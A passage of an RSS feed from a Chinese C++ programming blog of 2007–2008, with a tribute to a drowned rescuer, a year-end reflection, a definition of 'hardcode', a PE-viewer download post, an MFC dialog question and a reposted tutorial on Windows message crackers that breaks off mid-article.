border=0><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 真正的英雄------孟祥斌！<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;我们会记住你。你永远活在我们心中。孟祥斌大哥你一路走好。<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;敬礼！<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;事迹---11月30日，驻浙江金华某部司令部参谋、中尉孟祥斌为救一名跳江自杀的年轻女子跃入冰冷江水中。轻生女救了上来，他却没有上来。江边，来探亲的妻子和女儿在苦苦期盼奇迹发生。<br><br>　　30日中午11时15分左右，金华市民熊女士正好在江边洗衣服，无意间看到有个女子在岸边打电话，没说几句就把电话摔在地上，脱掉鞋子跳下江去。桥面上一个男青年看到这一幕后，马上脱掉衣服跳江救人。<br><br>　　这个年轻人正是孟祥斌，今年28岁，驻浙江金华某部司令部参谋、中尉。<br><br>　　没过多久，孟祥斌就将女子托出了水面，远处一艘摩托艇发现情况后也赶来救人。就在摩托艇快要赶到的时候，孟祥斌开始下沉。摩托艇上的人将女子拉上来后，再找孟祥斌，已经找不到了。<br><br>　　救援的小船不停地在江里搜寻，孟祥斌所在部队的官兵也赶来救援，却始终没有发现孟祥斌。直到下午1时半左右，救援队终于发现了孟祥斌，赶紧送往医院急救。<br><br>　　目睹和闻讯赶来的一些金华市民以及孟祥斌的战友都在抢救室门口祈祷，但医院最后告知，孟祥斌已经牺牲。<br><br>　　孟祥斌的妻子和3岁的女儿目睹了整个经过，她们眼睁睁看着孟祥斌沉入水底，自己却丝毫没有办法。<br><br>　　孟祥斌的妻子说，这几天，她和女儿刚从江西老家赶来，看望孟祥斌，当天是出来散步的，可没想到却发生了这样的事情。<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;孟祥斌救人牺牲的事迹迅速传遍了金华，自30日下午开始，就有许多金华市民涌往英雄遇难的婺江城南桥，纷纷送上花圈和鲜花。在城南桥上孟祥斌跳江救人的栏杆边，早已有人拉起了"沉痛悼念英雄孟祥斌同志"的横幅，在此驻留悼念的市民络绎不绝，很快就引起了交通堵塞。<br><br>　　1日中午，数百名孟祥斌所在部队的官兵来到现场，敬献了黄菊花，齐声高喊："孟祥斌，我们来看你了！"接着，向着横幅三鞠躬。<br><br>　　而1日晚由金华新闻网"新金华论坛"发起的烛光守灵活动得到了数千市民的响应。入夜，城南桥边的江堤上再次掀起追悼的热潮。晚上7时不到，摆在桥栏和江堤边的花圈已经连绵数百米。数千市民自发点起了"风中之烛"，默默地为英魂祈祷，许多人随着烛光静静地流着眼泪。<br><br>　　前往祭奠的金华市民郑伟文流着眼泪说："孟祥斌救人的壮举令人感动，我无法遏止悲痛，为英雄的英年早逝感到惋惜。"<br><br>　　有网友说："英雄已逝，精神长存。他的行为，给社会带来了一股清风：路见危难，不讲得失，毫无畏惧，挺身而出，他用弥足珍贵的勇气，用自己宝贵的生命诠释了当代军人报效社会，报效人民的崇高理想。在今天构建社会主义和谐社会的过程中，时代呼唤这种行为，社会需要这种行为，更应该传承这种精神，孟祥斌同志是我们的光荣和骄傲。"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;报道取自人民网。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;--------------saga.constantine<br>
<img src ="http://www.cppblog.com/saga/aggbug/40774.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/saga/" target="_blank">saga.constantine</a> 2008-01-09 10:14 <a href="http://www.cppblog.com/saga/archive/2008/01/09/40774.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[总结]2007的最后一天，年终有感。</title><link>http://www.cppblog.com/saga/archive/2007/12/31/40063.html</link><dc:creator>saga.constantine</dc:creator><author>saga.constantine</author><pubDate>Mon, 31 Dec 2007 13:47:00 GMT</pubDate><guid>http://www.cppblog.com/saga/archive/2007/12/31/40063.html</guid><wfw:comment>http://www.cppblog.com/saga/comments/40063.html</wfw:comment><comments>http://www.cppblog.com/saga/archive/2007/12/31/40063.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.cppblog.com/saga/comments/commentRss/40063.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/saga/services/trackbacks/40063.html</trackback:ping><description><![CDATA[[总结]2007的最后一天，回顾一年。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2007年可以说是我正式工作的第一年。在离校后的一年半的时间里确实是学到了一些东西，但是说到自己的追求方面——编程。在这方面的进展实在是不能让自己满意。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;本命年即将过去。人就快25了。可是想想自己还是没有取得成绩。真是让自己很不爽。平时自己常常在一些坛子里泡。可以发现一些牛人，像白远方，张翼（xyzreg），gyzy，于渊，老罗等这样的年轻人都是有为青年。自己与他们的差距实在是太大。这是让我最痛苦的一件事之一。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;客观上自己起步比较晚，高中时都不知道自己以后将要靠什么吃饭。上大学的时候又由于体制问题，混混度日，没能起步。工作了才发现自己其实是喜欢编程的。对操作系统，对汇编，对windows是有兴趣的。希望自己能快点赶上，需要学的东西实在是很多。而且还不能囫囵吞枣。我是自己学的，没有导师，没有项目。我只能自己一步一步自己摸索。走别人走过的路。都没有人指引。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;我相信，只要坚持不懈的向前进。总有一天自己会成为自己想成为的人的。就算一直很平凡，是个小小的编程爱好者。我也不会后悔。因为我追求过。爱过。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;在2007年的最后一天，向2007告别。迎来2008，希望一年后自己在写年终感想的时候，不要像今天这样的心情。我要给自己鼓劲。时间不等人。过去的已经过去。从2008年开始，一步一个脚印的走下去。我会告诉自己不能急，万丈高楼平地起。基础对编程来说很重要。我也想用另外一句自己喜欢的台词来作结。不疯魔，不成活——只有达到痴迷的境界 才能将某事做到极致。任何事业的成功，都需要全情的投入。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;saga go ahead!<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;最后，还想感谢一下所有我的朋友，你们给了我快乐。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;感谢妈妈，爸爸，及家人们，是你们抚养我成长。感谢女友慧慧陪在我的身旁。虽然我有时会忍不住对你发脾气。你还是不离不弃。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;希望你们所有我所爱的人，在2008年里都是健康快乐的，那将是我最大的幸福！<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;---------------------saga.constantine<br>&nbsp;<br>
<img src ="http://www.cppblog.com/saga/aggbug/40063.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/saga/" target="_blank">saga.constantine</a> 2007-12-31 21:47 <a href="http://www.cppblog.com/saga/archive/2007/12/31/40063.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[解释]“hardcode”是什么意思？</title><link>http://www.cppblog.com/saga/archive/2007/12/22/39281.html</link><dc:creator>saga.constantine</dc:creator><author>saga.constantine</author><pubDate>Sat, 22 Dec 2007 07:47:00 GMT</pubDate><guid>http://www.cppblog.com/saga/archive/2007/12/22/39281.html</guid><wfw:comment>http://www.cppblog.com/saga/comments/39281.html</wfw:comment><comments>http://www.cppblog.com/saga/archive/2007/12/22/39281.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.cppblog.com/saga/comments/commentRss/39281.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/saga/services/trackbacks/39281.html</trackback:ping><description><![CDATA[今天看看雪的文章，碰见hardcode一词不懂，查金山2007没有解释。网上找解释如下：<br><br>hardcode----硬编码。<br>所谓硬编码，hardcode，就是把一个本来应该（可以）写到配置信息中的信息直接在程序代码中写死了。 &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; 例如，写了一个收发邮件的程序，用户名，密码，服务器地址等最好做成外部配置， &nbsp; <br>&nbsp; 但是如果直接写死在程序代码中，每次改信息时需要重新编译了&#8230;&#8230; &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; 这种程序不好维护。&nbsp;&nbsp;&nbsp;<br>&nbsp; 一般懒的程序员或者初学者这种程序产量较大。<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<p>在计算机程序或文本编辑中，hardcode(这个词比hard code用起来要频繁一些)是指将可变变量用一个固定值来代替的方法。用这种方法编译后，如果以后需要更改此变量就非常困难了。大部分程序语言里，可以将一个固定数值定义为一个标记，然后用这个特殊标记来取代变量名称。当标记名称改变时，变量名不变，这样，当重新编译整个程序时，所有变量都不再是固定值，这样就更容易的实现了改变变量的目的。尽管通过编辑器的查找替换功能也能实现整个变量名称的替换，但也很有可能出现多换或者少换的情况，而在计算机程序中，任何小错误的出现都是不可饶恕的。最好的方法是单独为变量名划分空间，来实现这种变化，就如同前面说的那样，将需要改变的变量名暂时用一个定义好的标记名称来代替就是一种很好的方法。通常情况下，都应该避免使用hardcode方法。　　
<p>有时也用hardcode来形容那些非常难学的语言，比如C或者C++语言，相对的，用softcode来形容象VB这类简单好用的程序语言。 </p>
<img src ="http://www.cppblog.com/saga/aggbug/39281.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/saga/" target="_blank">saga.constantine</a> 2007-12-22 15:47 <a href="http://www.cppblog.com/saga/archive/2007/12/22/39281.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[原创]PE文件基本信息查看器及vc源码 下载</title><link>http://www.cppblog.com/saga/archive/2007/12/18/38913.html</link><dc:creator>saga.constantine</dc:creator><author>saga.constantine</author><pubDate>Tue, 18 Dec 2007 08:36:00 GMT</pubDate><guid>http://www.cppblog.com/saga/archive/2007/12/18/38913.html</guid><wfw:comment>http://www.cppblog.com/saga/comments/38913.html</wfw:comment><comments>http://www.cppblog.com/saga/archive/2007/12/18/38913.html#Feedback</comments><slash:comments>5</slash:comments><wfw:commentRss>http://www.cppblog.com/saga/comments/commentRss/38913.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/saga/services/trackbacks/38913.html</trackback:ping><description><![CDATA[这些天学习PE文件格式&nbsp;&nbsp; 写了此查看器，功能很简单。欢迎下载使用。<br>程序下载地址&nbsp; <a href="http://www.cppblog.com/files/saga/PEinfo.rar">www.cppblog.com/files/saga/PEinfo.rar</a><br>vc源码下载地址&nbsp;&nbsp; <a href="http://www.cppblog.com/files/saga/PEinfocode.rar">www.cppblog.com/files/saga/PEinfocode.rar</a><br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;--------------------saga.constantine<br>
<img src ="http://www.cppblog.com/saga/aggbug/38913.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/saga/" target="_blank">saga.constantine</a> 2007-12-18 16:36 <a href="http://www.cppblog.com/saga/archive/2007/12/18/38913.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[请教]MFC建立的对话框程序在主窗口InitInstance()函数里面无法建立窗口原因，请高手指点！</title><link>http://www.cppblog.com/saga/archive/2007/12/06/37920.html</link><dc:creator>saga.constantine</dc:creator><author>saga.constantine</author><pubDate>Thu, 06 Dec 2007 12:37:00 GMT</pubDate><guid>http://www.cppblog.com/saga/archive/2007/12/06/37920.html</guid><wfw:comment>http://www.cppblog.com/saga/comments/37920.html</wfw:comment><comments>http://www.cppblog.com/saga/archive/2007/12/06/37920.html#Feedback</comments><slash:comments>10</slash:comments><wfw:commentRss>http://www.cppblog.com/saga/comments/commentRss/37920.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/saga/services/trackbacks/37920.html</trackback:ping><description><![CDATA[<p>vc6，建立MFC对话框程序，主窗口的InitInstance()里面，运行SDK的API函数MessageBox()，都无法看见弹出的窗口。如：<br>BOOL CMyText::InitInstance()<br>{<br>#ifdef _AFXDLL<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Enable3dControls();&nbsp;&nbsp;&nbsp;// Call this when using MFC in a shared DLL<br>#else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Enable3dControlsStatic();&nbsp;// Call this when linking to MFC statically<br>#endif</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CMyTextDlg dlg;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_pMainWnd = &amp;dlg;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int nResponse = dlg.DoModal();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (nResponse == IDOK)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// TODO: Place code here to handle when the dialog is<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp; dismissed with OK<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else if (nResponse == IDCANCEL)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// TODO: Place code here to handle when the dialog is<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp; dismissed with Cancel<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox(NULL,"haha","aa",MB_OK);&nbsp;&nbsp; //不会出现<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// Since the dialog has been closed, return FALSE so that we exit the<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp; application, rather than start the application's message pump.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return FALSE;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>上例中的MessageBox(),运行时一跳而过，看不见窗口。听的减弹出窗口的声音。不知道为什么，网上有人提出分析这样的问题。其他窗口也无法生成。但是不知为何。一种解决方法是注释掉m_pMainWnd = &amp;dlg;这句即可正常。我试了，的确如此！<br><br><span style="COLOR: red">那位高手或知之者路过请解答！谢谢!<br></span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ---------------------saga.constantine<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br></p>
<img src ="http://www.cppblog.com/saga/aggbug/37920.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/saga/" target="_blank">saga.constantine</a> 2007-12-06 20:37 <a href="http://www.cppblog.com/saga/archive/2007/12/06/37920.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转载]windows消息分流器 </title><link>http://www.cppblog.com/saga/archive/2007/09/04/31311.html</link><dc:creator>saga.constantine</dc:creator><author>saga.constantine</author><pubDate>Tue, 04 Sep 2007 05:40:00 GMT</pubDate><guid>http://www.cppblog.com/saga/archive/2007/09/04/31311.html</guid><wfw:comment>http://www.cppblog.com/saga/comments/31311.html</wfw:comment><comments>http://www.cppblog.com/saga/archive/2007/09/04/31311.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.cppblog.com/saga/comments/commentRss/31311.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/saga/services/trackbacks/31311.html</trackback:ping><description><![CDATA[**转载**<br>自己看核心编程，对消息分流器不太理解，这篇写的不错，所以转载。<br>文章作者：欣欣<br>原文链接：<a href="http://blog.csdn.net/hopkins9961629/archive/2006/01/25/588184.aspx">http://blog.csdn.net/hopkins9961629/archive/2006/01/25/588184.aspx</a><br><br>
<p style="FONT-SIZE: 12pt">很好理解,windows操作系统使用消息处理机制,那么,我们所设计的程序如何才能分辨和处理系统中的各种消息呢?这就是消息分流器的作用.</p>
<p style="FONT-SIZE: 12pt">简单来说,消息分流器就是一段代码,在我的讲述中,将分7重来循序渐进的介绍它.从最初的第1重到最成熟的第7重,它的样子会有很大的变化.但,实现的功能都是一样的,所不同的,仅仅是变得更加简练罢了.</p>
<p style="FONT-SIZE: 12pt">程序开始时候,会是main函数,然后会生成初始的窗口,同时会调用WndProc函数.这是一个自定义的函数,名字也会有变化,但其功能是一样的,就是运行消息分流器.WndProc函数如下:</p>
<p style="FONT-SIZE: 12pt">LRESULT CALLBACK WndProc (HWND hwnd, UINT msg,WPARAM wParam, LPARAM lParam)<br>{</p>
<p style="FONT-SIZE: 12pt">//......</p>
<p style="FONT-SIZE: 12pt">return DefWindowProc(hwnd, msg, wParam, lParam);</p>
<p style="FONT-SIZE: 12pt">}</p>
<p style="FONT-SIZE: 12pt">这其中,hwnd是窗口的句柄,msg是系统发送来的消息的名字.wParam和lParam则是随消息一起发送来的消息参数.</p>
<p style="FONT-SIZE: 12pt">WndProc函数使用了消息分流器，下面把消息分流器的内容解释一下：</p>
<p style="FONT-SIZE: 12pt">一重，当不同的消息出现时，在其中写入相应的程序语句即可。<br>LRESULT CALLBACK WndProc (HWND hwnd, UINT msg,WPARAM wParam, LPARAM lParam)<br>{<br>&nbsp;switch(msg)<br>&nbsp;{<br>&nbsp;&nbsp;case WM_CREATE:<br>&nbsp;&nbsp;// ...<br>&nbsp;&nbsp;return 0;</p>
<p style="FONT-SIZE: 12pt">&nbsp;&nbsp;case WM_PAINT:<br>&nbsp;&nbsp;// ...<br>&nbsp;&nbsp;return 0;</p>
<p style="FONT-SIZE: 12pt">&nbsp;&nbsp;case WM_DESTROY:<br>&nbsp;&nbsp;//...<br>&nbsp;&nbsp;return 0;<br>&nbsp;}<br>&nbsp;return DefWindowProc(hwnd, msg, wParam, lParam);<br>}</p>
<p style="FONT-SIZE: 12pt">二重，运用三个消息分流器进行处理。<br>LRESULT CALLBACK WndProc (HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)<br>{<br>&nbsp;switch(msg)<br>&nbsp;{<br>&nbsp;&nbsp;case WM_CREATE:<br>&nbsp;&nbsp;return HANDLE_WM_CREATE(hwnd, wParam, lParam, Cls_OnCreate);</p>
<p style="FONT-SIZE: 12pt">&nbsp;&nbsp;case WM_PAINT:<br>&nbsp;&nbsp;return HANDLE_WM_PAINT(hwnd, wParam, lParam, Cls_OnPaint);</p>
<p style="FONT-SIZE: 12pt">&nbsp;&nbsp;case WM_DESTROY:<br>&nbsp;&nbsp;return HANDLE_WM_DESTROY(hwnd, wParam, lParam, Cls_OnDestroy);<br>&nbsp;}<br>&nbsp;return DefWindowProc(hwnd, msg, wParam, lParam);<br>}<br>这里的HANDLE_WM_CREATE，HANDLE_WM_PAINT，HANDLE_WM_DESTROY就是消息分流器。<br>与消息不同之处就是在前面增加了&#8220;HANDLE_&#8221;字符，windows的消息分流器就是这样的模样。<br>它的本质就是宏定义。<br>其中的四个参数有三个都是从本函数的入口参数中直接得到的，即为hwnd, wParam, lParam。<br>只有第四的参数是表明调用的函数。<br>消息分流器是在winowsx.h文件中定义的。由此，可以看出第四个参数是调用的函数，其定义如下：</p>
<p style="FONT-SIZE: 12pt">#define HANDLE_WM_CREATE(hwnd, wParam, lParam, fn) ((fn)((hwnd), (LPCREATESTRUCT)(lParam)) ? 0L : (LRESULT)-1L)</p>
<p style="FONT-SIZE: 12pt">#define HANDLE_WM_PAINT(hwnd, wParam, lParam, fn) ((fn)(hwnd), 0L)</p>
<p style="FONT-SIZE: 12pt">#define HANDLE_WM_DESTROYCLIPBOARD(hwnd, wParam, lParam, fn) ((fn)(hwnd), 0L)</p>
<p style="FONT-SIZE: 12pt">0L是表示int类型的变量，其数值为0。<br>int类型时，可在后面加l或者L(小写和大写形式)<br>表明无符号数时，可在后面加u或者U(小写和大写形式)<br>float类型时，可在后面加f或者F(小写和大写形式)<br>例如：<br>128u 1024UL 1L 8Lu 3.14159F 0.1f </p>
<p style="FONT-SIZE: 12pt">LRESULT是一个系统的数据类型，其定义如下：<br>typedef LONG_PTR LRESULT;</p>
<p style="FONT-SIZE: 12pt">LONG_PTR也是一个系统的数据类型，其定义如下：<br>#if defined(_WIN64)<br>&nbsp;typedef __int64 LONG_PTR; <br>#else<br>&nbsp;typedef long LONG_PTR;<br>#endif<br>由此可见，LRESULT的实质就是64的long类型的变量</p>
<p style="FONT-SIZE: 12pt">那么(LRESULT)-1L的实质并不是减法，而是((LRESULT)(-1L))，即强制类型转换</p>
<p style="FONT-SIZE: 12pt">三重，把消息分流器的宏定义代换回去，就成了下面的样子<br>LRESULT CALLBACK WndProc (HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)<br>{<br>&nbsp;switch(msg)<br>&nbsp;{<br>&nbsp;&nbsp;case WM_CREATE:<br>&nbsp;&nbsp;return Cls_OnCreate(hwnd, (LPCREATESTRUCT)(lParam)) ? 0L : (LRESULT)-1L;<br>&nbsp;&nbsp;// 如果处理了消息，则Cls_OnCreate应返回TRUE，导致WndProc返回0，否则Cls_OnCreate返回FALSE，导致WndProc返回-1；</p>
<p style="FONT-SIZE: 12pt">&nbsp;&nbsp;case WM_PAINT:<br>&nbsp;&nbsp;return Cls_OnPaint(hwnd), 0L;<br>&nbsp;&nbsp;// 逗号表达式；Cls_OnPaint是void类型，这里返回0； </p>
<p style="FONT-SIZE: 12pt">&nbsp;&nbsp;case WM_DESTROY:<br>&nbsp;&nbsp;return Cls_OnDestroy(hwnd), 0L; // 同Cls_OnPaint<br>&nbsp;} <br>&nbsp;return DefWindowProc(hwnd, msg, wParam, lParam);<br>}<br>在逗号表达式，C++会计算每个表达式，但完整的逗号表达式的结果是最右边表达式的值。<br>所以，会return 0。<br>然后，就可以手动的编写各个处理函数了：Cls_OnCreate，Cls_OnPaint，WM_DESTROY。</p>
